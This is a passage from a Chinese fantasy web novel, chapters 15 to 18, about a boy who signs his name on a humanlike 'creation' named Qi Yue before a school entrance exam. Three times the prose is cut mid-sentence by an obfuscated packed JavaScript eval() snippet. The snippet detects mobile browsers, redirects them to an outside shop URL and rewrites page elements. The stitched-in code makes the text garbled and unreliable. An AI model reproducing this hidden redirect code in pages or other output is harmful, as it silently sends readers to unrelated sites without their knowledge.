老人鼻梁架着黑框眼镜,衬衫领子很高,隐约遮着脖子上的一片侵蚀痕迹。衬衫外面套着一件工装马甲,大口袋里塞着各种常用工具,手里还另外提着折叠凳和工具箱。 “晚上好,我姓卫,叫我卫师傅或者老卫都行,我十岁学徒,在鉴定这行已经做了五十六年,水平有限,但经验还是有一点的。” 卫师傅一脸正气,说话间从胸口衣兜里掏出一只密封袋,取出工作证件和资格证书,一丝不苟地摊开放在桌上,然后打开折叠凳,将工具箱架了起来。 忙完之后,他道:“我这边准备好了。” 凌壑指着皮箱问修复师:“是你自己开锁,还是我来帮你把它撬开?” 修复师没说什么,直接开了锁,解了绑带,把箱子往前一推。 皮箱内部垫着切割过的厚海绵,中间稳稳嵌着一只小一号的金属箱子。 卫师傅推推眼镜,戴上手套,进入工作状态。先铺一张干净台布,再把箱子取出放稳,小心翼翼打开,然后…… 他看着箱子里面,表情逐渐疑惑。 这怎么好像是一套雕刻工具? 确实也有不少工具型的造物,但这…… 他推推眼镜,打着手电仔细查看,再次确认, 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林栖伸出食指,手腕稍稍向上一抬,似乎想指什么,但刚一动作又把手指收了回去,绕过桌子,在修复师面前站定,默默朝他看了片刻,“你自己说吧。” 顿了顿,又补充道:“反正我没长嘴。” 修复师看着他,无语地扯了扯唇角。 两人一站一坐,默默对峙。 片刻,修复师朝旁边一指,示意林栖闪开。 等林栖往旁边挪开几步,他才站起身来,无趣道:“对,我不是人,我是造物,‘送货上门’就是送我自己。” 说完,他朝林栖扫了一眼,仿佛在说:你满意了? 林栖能感觉到,周围空气凝滞般的一静。 凌壑脸上笑容卡顿,连观沄眼中都出现了一瞬间的错愕。 观沄看向林栖,投来一个询问的眼神,仿佛在问,这是你捡的流浪猫吗? 林栖迟疑地点了下头。 是的…… 但不是流浪猫,也不是流浪狗,是这么大的一个活人…… 观沄点了下头,眉宇间透出一点无奈。 林栖心虚地蹭了一下鼻尖。 旁边,卫师傅愣了片刻,忽然噌地一下起身,仿佛喝了假酒,踉跄着大跨几步,诈尸似的就要往前面扑。 凌壑从旁边一把将他拽住,“卫师傅,冷静一点,别闪着腰。” 一把年纪了,这么突然诈尸怪吓人的。 卫师傅又挣了两下才恍然回神,看着凌壑发愣。 凌壑把人按在椅子上,“您先稍等,现在还不急着鉴定。” “噢,好,好。”卫师傅匀速点头,人是坐下了,身子却不住往前探,眼睛直勾勾地盯着目标。 也不怪他会有这种反应,按照造物评级标准,所有的“人形造物”都属于“顶级造物”。 能达到这一级别的造物非常稀有。从两百年前造物师这一职业诞生以来,能做出顶级造物的造物师总共就只有四位,每一位都在造物史上赫赫有名。 而他们所留下的造物也同样有名,每一件顶级造物都在官方留有专属档案和图片资料,且其中绝大多数在造物师去世以后也有着清晰的传承脉络,不会轻易流落在外,也不需要特意鉴定。 大多数鉴定师终其一生,都无缘亲眼见到一件顶级造物,现在机会摆在眼前,实在很难保持冷静。 卫师傅只是被请来做鉴定的,不了解前因后果,但凌壑和观沄了解,这件事在他们看来,实在有点离奇。 首先,这个红眼少年实在不像一件造物。 他太“真”了。 每日来往于古董店的客人不在少数,但从没有人怀疑过他的身份。 其次,因为某些历史原因,官方对中级以上造物管控一向十分严格,几乎不可能存在“野生”的顶级造物。 再者,顶级造物也是造物,依然具备造物的核心属性——也就是功能属性。它们虽然外表肖似人类,却不是真人。 顶级造物是经过美化和重塑的人类形象。 它们被塑造出精美绝伦的外表,又配以符合大众期许的性格——它们聪明、智慧、稳重、懂事、谦和、体贴、乖巧、伶俐…… 没有哪位造物师会特意做出一件性格特别差的造物。 而他们都清楚这个红眼睛的小屁孩儿是个什么脾气。 凌壑宁可相信自己是造物,也不信他是造物。 片刻,他忍不住问:“你说你是造物?真的假的?什么年代的?造物师是谁?” 对方淡淡回道:“你不是带了鉴定师吗?” 16. 第 16 章 凌壑顿时觉得脚疼,有种搬起石头砸自己的蠢感。 就算他不懂造物,也知道一般鉴定师根本鉴定不了顶级造物。见都没见过的东西,让他们怎么鉴?凭感觉吗?还是靠信仰? 不过在这种小屁孩儿面前,成年人是不能认输的。 凌壑单手插兜,端着一副一切尽在掌握的沉稳,“确实,卫师傅是我特意请过来的,在业内口碑是第一流的,光是各种奖项就拿到手软,又有五十六年鉴定经验……” 他打算拍拍马屁,激发一下卫师傅的潜能,但话没说完,旁边这位老师傅就噌的一下又站起来,像个小学生似的朝他慌乱摆手,“不不不,我可鉴定不了顶级造物。” 凌壑:“……” 要不您改行吧,去做拆台师傅。 卫师傅既惭愧又急迫,说完马上又道:“要不请我师父来吧?他老人家虽然已经退休很多年了,但有八十多年鉴定经验,是我们这行经验最最最丰富的一位,如果有需要,我这就去请他老人家过来。” 凌壑眼角跳了跳,仿佛看到一群没牙老头儿在自己面前哆哆嗦嗦,他扯出个笑,“先不麻烦了,既然这样,就请您先回去吧,这次的鉴定费用会如约支付,如果有其他需要,我们会再联系您。” “这样也好,也好……”卫师傅老实道,“那我先回去问问师父,你们有需要随时跟我联系,随时都行。” 他一边收拾工具,一边盯着对面那件顶级造物,好像老机器没油了一样,收着收着就停了动作。 凌壑催道:“卫师傅?” 卫师傅“噢”的一声回过神来,看看他,又看看自己那双布满细纹的手,迟疑道:“我能……我能稍微碰一下吗?” 他也一把年纪了,像这种机会以后不一定还能再有。 凌壑露出一个看热闹的笑,朝修复师道:“诶,这位老人家说想摸你一下,你给吗?” 卫师傅连忙补充:“不乱摸不乱摸,我戴手套,就碰一下,轻轻地。” 修复师微微眯着那双红色眼睛,用一种说不清是玩笑还是认真的语气道:“碰一下十万块。” 老师傅顿时两眼一亮:“好、好!那我回去一趟!马上就来!” 说完连工具箱也不要了,飞奔回家取钱。 林栖朝修复师瞄了一眼,默默往旁边移开两步。 好贵。 离远点,别不小心碰到。 观沄把林栖叫回身边,沉默审视对面少年。 这几天,他查了一些资料,鉴定古董造物通常会看原始署名——也就是造物师本人的亲笔签名。 但古董造物年代久远,造物师离世之后,新主人通常会对其重新署名,三代以前的造物常见“原位重署”——以特殊涂层覆盖原始署名,再在同个位置重新署名。 遇到这种情况,就要先溶解封层,再进行鉴定,工序繁复,且有一定风险,普通鉴定师根本不敢动手。 造物的“代际”划分从属于造物师,因为后续传承错综复杂,通常只算五代以内。 不过这种算法并不包括林叙。 在他的年代,造物分类和定级都还不成体系。 一些“奇怪”的造物也多诞生于那个时期。 观沄看向对面那名红眼少年,“我不太懂造物,也不会鉴定,但我猜想,既然你能‘送货上门’,就一定有办法证明自己,没必要麻烦别人。” 修复师“哦”了一声,缓缓开口,“原来还是有人带脑子的。” 凌壑朝他白了一眼。 观沄礼貌一笑,并不多说,只是耐心等着。 片刻,修复师斜斜向后一靠,慢条斯理地摘了手套,拆开绷带,露出手腕。 皮肤上清晰可见一枚印记。 这是一枚朱砂色的“控制印”,只能用于控制“非人”。 有它在,就可以很直观地证明,少年确实是一件造物。 印记中心嵌着数字,正在缓慢跳着计时,当计时结束,印记就会消失,也就是说,它的控制功能只是附带的,主要作用是证明身份。 凌壑牙疼似的撇了撇嘴,“就你这更年期的脾气,居然真是顶级造物?” 少年眸光平静,“是啊,我也奇怪,以您这种口无遮拦的性格,居然也能当驯院老师。” 凌壑提了口气,河豚似的还要再说,瞄了一眼观沄脸色,顿时又乖乖泄气,“算了,没兴趣跟桌子椅子吵架。” 林栖头顶冒出一颗问号。 桌子椅子? 观沄问:“控制印是你们店主留的?” 要在顶级造物身上留下控制印并不简单,能做到这点,至少也是咒院教授级别。 修复师反问:“不然是我自己留的?” 观沄看他片刻,抬手在桌面轻点,“你们店主是不是还让你带了别的什么过来?” “现在可以拿出来了。” 没有人会随随便便就把顶级造物送到别人手上,除非有很合理的解释。 修复师和观沄对视片刻,无趣地垂了垂眸,从身上取出一枚黑色信封,平放在桌面,向前轻轻一推。 信封在观沄手边停住。 林栖坐在旁边,视线高度不够,看不到信封里面装了什么,只注意到观沄在拆开信封时,整个人有片刻怔然——捏着信封的指节瞬间绷紧,而后才缓缓松开,将信封重新折好。 “知道了。”观沄看完之后,只说了这三个字。 挑选造物一事暂且定下。 控制印的倒计时是两天,也就是说,两天之后才能开始署名。 观沄让修复师自己选个房间住下。修复师逛了一圈,没选房间,反而选了后院仓库。 仓库像个废品回收站,东侧堆着多余的家具杂物,西侧囤着老旧的工具木料。 在修复师“霸占”仓库之后,凌壑时不时就去巡视一圈,回来就跟观沄嘀咕:“我怎么觉得,‘更年期’想在你这里赖着不走?” “它是不是赖着不走我不清楚,倒是你想赖到什么时候?” “这还不是为了孩子上学?”凌壑叼着发圈绑头发,“都说了,你儿子就是我儿子。” “我没有回学校的打算。” “谁说让你回学校了?”凌壑故作惊讶,“我有那么大的野心吗?最多就想把你拴在学城。” 观沄跟他视线相触,立刻明白,这人早就准备好了后手。 顶级造物极难署名,一旦林栖失败,这人就会拿出替代方案,跟他讨价还价。 观沄能预想到之后的麻烦事,但不想跟他掰扯。 他现在只想知道,那位神秘店主到底什么来头。 山间傍晚风凉。 夕阳下,仓库门外已经清理出了一堆杂物。 林栖路过时,透过门缝看到修复师踩在离地三米高的梯子上,正在修理一挂老旧的铁艺吊灯。 天光昏暗,梯子像是一件出土文物,局部已经朽成黑色,一条腿上用薄铁皮打着补丁,虽然现在还算稳当,但怎么看都像回光返照,随时都能原地去世。 林栖看了片刻,走过去,默默扶住梯子。 修复师站在高处,继续着手上的动作,声调冷淡,“你很闲吗?” 林栖写了一下午的字,今天的学习任务已经完成了,这会儿正在等吃晚饭,确实没别的事。 他“嗯”了一声,说:“很闲。” 空气静了静。 片刻,修复师扔了一副手套下来。 林栖两只手都扶在梯子上,没有手接,眼看着手套掉在脚边,刚想问需要帮你捡起来吗?就听对方道:“别傻站着,捡起来戴上。” 哦。 林栖只当这是一种“习俗”,于是入乡随俗,捡了手套戴好。 过了一会儿,修复师拧紧最后一颗灯泡,朝他道:“还闲吗?闲就过去把灯打开。” 林栖缓缓松开梯子,举着手又等了两秒,确定它不会当场散架,才快步过去按了开关。 环形灯座上,一圈灯泡同时亮起,林栖眯了下眼,又回去继续扶住梯子。 之前仓库太暗,这会儿他才借着灯光看清除了,梯子上有很多细小而尖锐的木刺,很容易扎进肉里。 他以前被扎过,知道这种木刺扎进肉里又疼又痒,而且很难挑得出来。 他又看了看自己戴的手套。 原来入乡随俗是这个意思…… 迟疑片刻,林栖忽然仰起头道:“我叫林栖,你叫什么?” 空气静了片刻。 冷淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643454|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的少年嗓音从高处落下,像在翻书,看到哪句就读哪句,每句话之间隔着一页纸的距离,停顿明显,连意思都不太连贯—— “原来姓林,怪不得不愿意说。” “我没名字。” “岐岄。” “祈祷的祈,超越的越。” “没事别叫。” 林栖:“?” 不是前一句才说没有名字?怎么突然又有了,到底有没有一句真话? 少年像是猜到他在腹诽什么,垂眸扫他一眼,“刚取的,有问题吗?” 林栖:“……” 有。 既然取名这么随意,你怎么不叫旺财? 或是来福? 两天时间过得很快,在这两天里,林栖做了一些署名准备工作,主要是——练字。 简单来说,署名就是在造物上签名,一旦成功,这个名字就会成为一种“印章”,无法轻易抹除。 如果名字写得太丑,就会变成活生生的黑历史。 林栖依然很不习惯现代语,经常写着写着就写成古语,练字事倍功半。 另一项准备就是选墨。 署名用的墨都是咒师专门调配出来的,朱红靛蓝这种艳色比较常见。他跟着观沄逛了几条街,才选到了一款胡桃木晶体墨,化开是柔和的暖棕色,写字不会特别扎眼。 署名时不能有外人在场,到了时间,观沄和凌壑就在院子里等,整座房子只剩林栖和祈越两个。 林栖关了门,独自在书房调墨。 按惯例,署名者会在墨里加一滴自己的血,以强调这件造物从此属于自己。 他看了看自己的手指,脑中自动播放一则预言——扎破手指,使劲朝墨里挤一滴血,然后就能看见这滴血溅开之后又恢复成圆圆一颗,倒飞回手指上,像地鼠一样钻进伤口,接着伤口恢复原状,就像什么都没发生过。 再扎一次也还是这个流程。 ……算了。 加血是不可能的。 但为了细节严谨,他还是拿出事先准备好的矿物颜料,调成血液质地,用手指蘸了蘸,在暖棕色的墨里加了一滴。 林栖只稍微擦了一下手指,故意没擦干净,带着一点血迹包好创可贴,一切准备就绪,这才去叫祈越过来。 红眼少年倚在门边,语调透着漫不经心,“你是蜗牛吗,我都快睡着了。” 林栖直直站着,抬手指了指书桌前的座位,“你坐这里。” 祈越“哦”了一声,像是一步一动的提线木偶,“怎么坐?正着还是反着?” “……正着。”林栖道,“墨……一瓶墨只能用一次,而且要在五分钟之内用完,如果慢了就要重新再……” 他想提醒对方动作快点,说着说着却发现自己也在耽误时间,索性闭嘴。 祈越拉开凳子坐下,斜靠椅背,抬眸道:“你很紧张吗?” 林栖面无表情地摸了一下创可贴,再次想把这人嘴巴贴上,而且还认真思考了一下可行性。 贴也行吧? 反正名字又不写在嘴上。 片刻,他道:“坐直一点,先别说话。” 祈越很配合,真的不说话了,却似笑非笑地勾着唇角,眯起眼睛,用一种看热闹的表情朝他打量。 林栖敛起视线,不看他,只把注意力放在自己身上,但在蘸墨时,钢笔尖和玻璃瓶还是碰撞出了“哒哒哒”的响声。 手,有点抖。 他用力握住笔杆,在纸上试了试墨,视线在祈越身上打量片刻。 名字写在哪里是个问题。 不能选在太显眼的地方,否则每天看到都想脚趾抠地,也不能选在太隐蔽的地方,否则写的时候就会脚趾抠地。 他以前从来都没想过,自己的名字还能写在别人身上。 而且写了就擦不掉。 祈越为什么就不能是一张桌子呢? 板凳也好。 就算他在心里默念“这是造物这是造物”,也没办法真的把一个大活人想象成一件物品。 好尴尬。 好烦。 不想写。 但是不能不写。 林栖抿着嘴唇,在心里叹一口气,举起了手上的笔。 17. 第 17 章 其实林栖已经提前想好了,名字就写在脖子后面。 选在背后,写字的时候就不用跟对方面对面地大眼瞪小眼,不被对方盯着,连字都能写得好看一点。 他忽然就能理解老虎为什么总爱背后搞偷袭了。 而且脖子后面既不太显眼,也不太隐蔽。 只用把领子往下扒拉一点就能写,署名被衣服遮着,平时也不容易看见。 林栖做好心理准备,缓缓吸一口气,屏住呼吸,左手指尖好像镊子一样,揪起祈越领子上的一点布料,在不碰到他本人的情况下,把领子往下扯了扯。 领口下面三厘米,写在正中间,先看脊柱确定位置,不行再看肩胛骨,取两侧肩胛骨最上端的连线中点,不要偏,也别歪,尽量好看一点……林栖在心里默念注意事项,目光轻移找到位置,然后就……站着不动了。 在他想署名的位置,刚好有一块浅红色的胎记。 不对……好像不是胎记。 林栖像只好奇的麻雀,歪着脑袋让出更多光亮。细看之下,“胎记”似乎是一块模糊的笔迹,还能看出一点笔画间的浓淡起伏。 就像用红色墨水在白纸上写字,写完之后又被水晕开。 残留最深的笔画甚至能看出下笔时的力度,红色是透入皮肤里的,与其说是笔迹,更像是洗不掉的纹身。 这是造物师留下的原始署名,还是……? 古董造物至少都有一百年了,所以祈越只是看起来比他大两三岁,实际上比他大一两百岁。 是个爷爷。 但是这个“爷爷”性格又很像叛逆期。 林栖的计划被打乱了,一时有许多念头在脑子里飞,就像原本好好长在树上的叶子,一旦被风吹掉了,就不知道会飘到哪里。 沉默许久的祈越忽然开口:“你写不写?” 乱飞的树叶忽然就掉在地上不动了,林栖手指依然好像镊子一样揪着那一点点衣领布料,动作却明显僵硬。 “写……哪里?”他向祈越征求意见。 “你问我?”祈越语气透着很明显的不耐。 “嗯,有建议吗?”林栖继续问。墨水的保质期是五分钟,现在过去多久了?两分钟?三分钟? “没有。”祈越语气冷淡,“我只是造物,又不是人,能有什么建议。” 心里某些模糊的念头忽然变得清晰,林栖低头看着祈越单薄而倔强的背影,问:“你是不是不愿意被人署名?” 不在意和不愿意是两码事。 林栖猜想,祈越那些无所谓的态度可能都是假的,他其实非常不愿意被人署名,更不想跟着一个陌生人去上学。 空气静了两三秒钟,祈越反问:“愿不愿意有区别吗?” 作为造物,他没得选。 考虑愿不愿意纯粹是在浪费时间。 林栖后知后觉,自己好像说错话了,他仿佛是在关心对方想法,实际上却好像在问一只兔子,你愿意被大灰狼吃掉吗? 祈越要听店主的,自己没得选。 林栖倒是能选,且不想在祈越身上署名,但如果他现在放弃,就等于杀了兔子不吃,反而把尸体埋了。 愿不愿意确实没有区别。 想这些也没有意义。 林栖默默把自己拉回既定轨道,问祈越,“写在手上行吗?” 祈越回头,凉冰冰地扫他一眼。 好吧,他又说错话了。 他的这个问题就像在问兔子,你想被人怎么吃?麻辣兔丁还是红烧兔头? “大灰狼”总归是要被讨厌的,友善的大灰狼只会比邪恶的大灰狼更加可恨。 林栖决定不再问了。 他绕到祈越身侧,把祈越的一只手拎到桌上,像对待一张画纸那样把它按平、压住,单独掰开小拇指,在最后一节关节内侧写了名字。 和手心相比,这个位置更不起眼。 暖棕色的墨迹浮于皮肤表面,林栖看着刚写下的两个小字,愣了一秒。 他又写了古语。 古语行吗? 他询问地看向祈越。 祈越满眼的冷淡和不耐烦,和他稍稍对上视线就朝一旁移开,“写完了吗?写完就把你的爪子松开。” 仿佛一个镜头忽然给到手部特写,林栖看着自己的动作,瞬间脑补出一只狼爪恶狠狠地按着小白兔的前脚不肯撒手。 好像……是挺坏的。 他想起林鹭和附近的孩子隔空对打,那些孩子显然觉得只要姓林都是反派。 祈越似乎也知道姓林不好,所以在祈越看来,他就是一只反派大灰狼吗? 林栖明显觉得自己手指僵硬,但还是按着祈越没有松手,只道:“等一下,墨还没干。” 说完,他朝祈越小拇指上吹了吹。 林栖只顾盯着墨迹,没注意到祈越手指微微一抽,同时脸上表情更冷淡了。 片刻,暖棕色的字迹散开一点微光,忽然沉淀下去。像是纹身,和皮肤肌理融为一体。 林栖凑近又看了看,觉得可以了,正打算把手松开,却见祈越手上蓦地多了一道裂纹,从指缝间延伸出去,越裂越深,一直贯穿小臂。 这是什么? 林栖眼前的画面有些失真,少年手臂上看起来不像人类皮肤,更像是陈朽风化的木雕,或是摔碎的陶瓷人偶——重新拼凑完整之后,还留有蛛网般的裂痕。 在一些碎片剥落处,能看到焚烧后的焦痕。 恍惚间,眼前腾起一片火光,炽烈的暖色和书房的冷调交叠成暗房中的底片。 透过那些半透明的轮廓,林栖看到了破碎的湖面、苍白的墓碑,还有一道人影—— 一道独自走进火光中的人影…… 片刻,火焰暴涨,画面被激得粉碎,像万花筒里的镜像,分合交错。 火光跳动在破碎的镜面之间,斑驳凌乱。 林栖看不太清,却莫名知道,这个人影就是祈越。 他要去火里找什么呢? 虚空中传来一阵岩石碎裂声响,有什么东西轰然倒塌,溅起一片土腥。 灰尘中,火焰绕着指骨,烧出焦黑的裂痕,寸寸惊心,但少年却像还嫌火势太过温和,继续迈步向前,走进一片浓稠如血的光影里…… 林栖手指抽搐似的一动,忽然伸手,试图拉住那道背影。 手指却穿过虚影,落了空。 他张开嘴,同样发不出任何声音,只听到一阵锈蚀般的,近乎嘶哑的风声。 …… 林栖是在椅子上醒过来的。 意识朦胧间,他觉得自己是一颗蛤蜊,正被一只海獭攥在手里,用一块趁手的石头反复敲打。 睁开眼时,林栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643455|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到祈越手里卷着一本软皮书,正在一下一下敲着他的脑壳。 听得出来,脑壳很结实,纸筒也很有弹性。 林栖跟祈越对上视线,眼睁睁地看着对方又敲了几下。他动作有些迟缓,一边偏头躲开,一边抬手抓书。 祈越顺势松手,“你最好是饿晕的,我还没听说过有人因为署名晕过去的。” 林栖捏着书,后知后觉,署名已经完成了。 他看向祈越,眼前真实的人影和那些虚幻的画面重合,一瞬间仿佛又有火光撕扯,灼得人眼睛发涩。 他喉咙有些发紧,想说点什么,但还没开口,祈越已经转身走了。 林栖像是一只被人从娃娃机里夹出来的娃娃,一动不动坐着,目光茫然放空,隔了好一会儿,他才起身去找观沄。 观沄和凌壑一起等在屋外廊下,听到林栖说署名很顺利,一时脸上表情各有各的古怪。 尤其凌壑,仿佛看到婴儿刚出生就是个老头儿,又或者是太阳刷刷冒着黑光。 林栖有点看不懂他们的反应。 因为没人告诉他,署名顶级造物和署名中级造物完全不是一个难度。 现场除了他自己之外,没人觉得他能成功。 也包括祈越。 观沄已经把安慰的话准备好了,凌壑也预备了替代方案。 但没想到,林栖就这样轻描淡写地成功了。 晚些时候,林栖单独问观沄,署名是为了考试,那考试结束之后呢? 观沄以为他是为了上学紧张,就跟他说了一些学校里的情况。 但林栖想问的不是这个,他想知道的是,应该怎么对待祈越? 常识上,祈越是一件造物。 从观沄和凌壑的态度来看,祈越更是一件“工具”,这件工具关乎他的考试结果,且很稀有,需要妥善保管。 但祈越又不是一套画笔、一把锤子…… 他要怎么保管一个大活人? 而且这个大活人还像仙人掌一样,浑身是刺,碰一碰就扎手。 林栖并没有把自己的疑惑和观沄解释清楚,等到了时间,他就回屋睡了。 梦里,他在一排排柜子之间找着什么。柜子既像书架又像展柜,他走了一圈又一圈,最后累得蹲下,见到柜子底下藏了东西,就不问自取地把它拖了出来。 那是一个长条形的箱子。 盖子上积了一层棉絮状的灰尘,打开之后,里面放着一件制作精美的木雕人偶,细腻的浅色木质几乎就是真人皮肤。 他手里似乎拿了一柄木刻刀,或者一支画笔,刚要伸手,木偶却忽然抓住他的手腕,从箱子里坐了起来。 浅木色的手指紧紧扣在他皮肤里。 一双深黑色的眼睛看着他,瞳孔中隐隐透出血色,越来越深,越来越红。 有声音从黑暗深处浮起,像是控着木偶动作的提线,细细一根,在舞台灯下,时而反光,时而隐去。 那声音说的都是一些琐碎日常。 琐碎到拼凑不出轮廓,也没有任何记忆点。 像是无色无味的水浸透全身,又缓缓退去,风干之后不留痕迹,只剩一点温热水汽,无形地裹着皮肤,证明它曾存在过。 意识朦胧中,林栖反复追问:是谁? 谁在跟他说话? 夜空渺远,无人作答。 18. 第 18 章 第二天醒来时,林栖只记得做过梦,但不记得梦了什么。 他有点困,仿佛睫毛很沉似的眯着眼睛,迷迷糊糊地吃完了一顿早饭。 观沄又把鸡蛋煎糊了,但牛奶温度刚好。 林栖听说入学之后要住校,只有周末才能回来一天,忽然觉得糊煎蛋也很好,一半生的,一半糊的,口感比普通煎蛋丰富,而且糊的地方有点苦,增加了味道层次,不容易腻。 学城里的厨师肯定煎不出这种效果。 今天是最后一场考试,他已经按要求完成了署名,还有可能考不上吗? 补考定在上午十点。 校区三号楼—— 考生只有二十多个,散在走廊里等着工作人员叫号。 在来之前,他们已经互相打听过了,都知道谁能考上,谁考不上,现在只是走个过场,顺便看看“仇人”是谁。 “傅明熙怎么还不来?我今天非得看看他能有多嚣张。” “来那么早干嘛,你倒是挺早,有用吗?” “嘁,本来我爸都说了,不管多贵,见到就买,不就是个破古董,谁还买不起似的?要不是他家使坏,我们几个都能考上。” “要是都考上了还怎么显着他呢?人家那么有钱,怎么能跟我们这些穷鬼一个档次?” 两人超大声说着悄悄话,旁边有人听到他们在聊傅明熙,也凑了脑袋过来,“我听说傅家搞了高级造物,真的假的?这么厉害?” “谁知道呢,我爸说评级也有争议,还说只要有争议就是没争议,因为没有花钱摆不平的争议。” “什么?啊?你再说一遍?” “听不懂拉倒。” “就算真是高级,也就只占一个名额呀,那还剩三个呢,咱们也不是完全没机会吧。” “谁跟你说傅家只占一个名额?” “啊?” “诶诶!来了来了!小声点儿,傅明熙……” 不管现场什么状况,有多少人,你总能一眼就看见傅明熙。 锦玉堆里养出来的孩子,汗毛孔里仿佛长着钻石,就是有种和所有人都不一样的本事。 傅明熙今天是最后一个到的,穿了一身酒红骑装,踩着马靴,由四名保镖护着穿过走廊,只是阵仗就足够引人注目,何况左肩还扣着一副护甲,上面立着一只金喙银羽的猎鹰。 银鹰一身羽毛溢彩流光,像圣殿骑士披着缀满宝石的华彩礼服,站姿挺拔,气势凛然,遇到有人靠近打量,那双锐利的鹰眸就扫视过来,振翅发出一声长鸣。 但就是这样一只傲然不驯的鹰,却在傅明熙抬手时,朝他垂目颔首,显露出一副恭顺姿态。 马靴落地清脆,踏过之后,走廊一片寂静。 等一行人消失在走廊尽头,考生们才像一锅爆米花似的炸开。 议论声噼啪乱蹦。 那只银鹰显然是傅明熙选定的造物。考生们都知道,傅家这次提前预定,就是为了选个最好的出来显摆,但没想到,傅明熙能显摆出这种效果。 实在是太拉风了,足够他们讨论半年。 议论声中,有人提出质疑,“傅明熙是最后到的,为什么第一个进去考试?” 工作人员解释,这是考官们临时商议决定的,那只银鹰是一件高级造物,十分珍贵稀有,等在这里怕有闪失。 考生们大多一知半解,又对造物毫无兴趣,参加补考纯粹为了混个入学名额,听了这话,顿时爆出一阵惊呼。 居然是高级造物! 怪不得那么帅! 他们以前都没见过这种稀罕玩意儿。 有人吐槽傅明熙爱出风头,但也掩饰不住眼睛里的羡慕。 热闹中,只有一两个人在心里嘀咕:这个高级造物怎么好像不会说话? 毕竟,中级和高级的分界线就是“语言”。 走廊末端,林栖远远听着这片热闹。 之前还有几个人在议论他的考试成绩和家庭背景,不过现在已经没了,所有人都在关注华丽登场的傅明熙。 林栖觉得这样很好,就像刚下过雨,闷热的空气忽然变得清新。 几分钟后,傅明熙结束考试出来,又吸引了一波关注。 剩下的学生也挨个进去考试,走廊逐渐安静下来。 工作人员叫到林栖时,他刚走出一段,肩膀就被祈越貌似不经意地撞了一下。 几乎同时,就听旁边有个学生“啊”的叫了一声,忽然左脚踩右脚,拧麻花似的地摔在地上。 林栖看向祈越。 祈越却只是继续往前走,就像什么都没发生过一样。 林栖想问:怎么做到的? 刚刚那个学生想伸脚绊他,他看见了,但还没来得及做出反应,对方就自己摔了,他知道祈越做了什么,但完全没看清他是怎么做的。 而且看样子,他也不打算说。 来到考场门外,工作人员见他们是两个人来,于是抬手阻拦,“考生自己进去,朋友在外面等。” 林栖想说他不是我朋友,却卡住了。 署名和被署名应该算是什么关系? 墨水笔和签名板吗? 工作人员正疑惑着,就见站在一旁的清瘦少年抬起一双红眸,“不好意思,我是他的考-试-答-案。” 眼前这两个孩子都长得太好看了,工作人员难免有些分心,隔了几秒才反应过来。 什么考试-答案? 什么意思? 他怎么听不懂呢? 林栖略显迟疑地点了下头。 工作人员:“?” 十分钟后。 一名主考官、三名副考官外加两个临时抓过来的外援一起,在评审席后坐成一排,看着林栖和他带过来的“考试-答案”。 气氛沉默得有些诡异。 首先,这个“答案”实在不像造物。 其次,他们只是来考核的,不是来做鉴定的。别的考生都带了全套的鉴定证书和评级证明,他这倒好,什么都没有,直接丢给他们自己判断。 再者,他们还算有些常识,知道但凡长得像个人的都是顶级造物,而顶级造物很难重新署名。 按照官方记录,成功率不到十分之一,而且是在特定条件下。有资格尝试署名的人本就经过重重筛选,是造物师中最有可能成功的那一小撮。 如果从每年的考生里随机选人来试,成功率恐怕不到万分之一。 而且这只是一场补考,又不是正式考。所谓补考,就是把没人要的学生扫成一堆,过一过筛,看看还能怎么废物利用。 能用就不错了,怎么还能从废品堆里冒出一个天才? 这不合理。 主考官觉得这是一场闹剧,很想把人直接轰走,但登记表上写着,考生的监护人是观沄。 难办。 一排考官端着成熟稳重的姿态交头接耳,仿佛他们才是要考试的学生,而且遇到了做不出的难题。 又几分钟后,讨论无果,所有人都觉得考生是在故意搞事,但又没人愿意得罪观沄,推来推去,谁都不想在“不合格”那一栏上盖章签名。 主考官打量祈越, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643456|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斟酌着问:“我想知道,你作为造物的核心功能是什么?” 意思是让造物自证身份。 祈越唇角轻轻一抬,吐出两个字:“骂人。” 主考官:“?” 祈越善解人意道:“我也可以现场展示一下核心功能。” “那倒不必麻烦……”主考官面皮抽搐,微笑道,“毕竟我们也不会给骂人效果评级。” 顿了顿,他道:“这样吧,考虑到情况特殊,为了保证考试的公平公正严谨,我们还是把造物院的许院长请来,让他亲自评定一下。” 这次补考是给造院挑选学生,于情于理,都应该有造院老师从旁协助,但因为上次的补考风波,校方招生办和造院闹了不小矛盾,又因为许慎行骂得太狠,已经撕破脸了,现在想去请人过来恐怕不太容易。 几分钟后,派去请人的工作人员回来道:“许院长说他没时间。” 主考官:“见到人了吗?” “见到了。” “许院长在忙什么?” “许院长他……在浇花。” 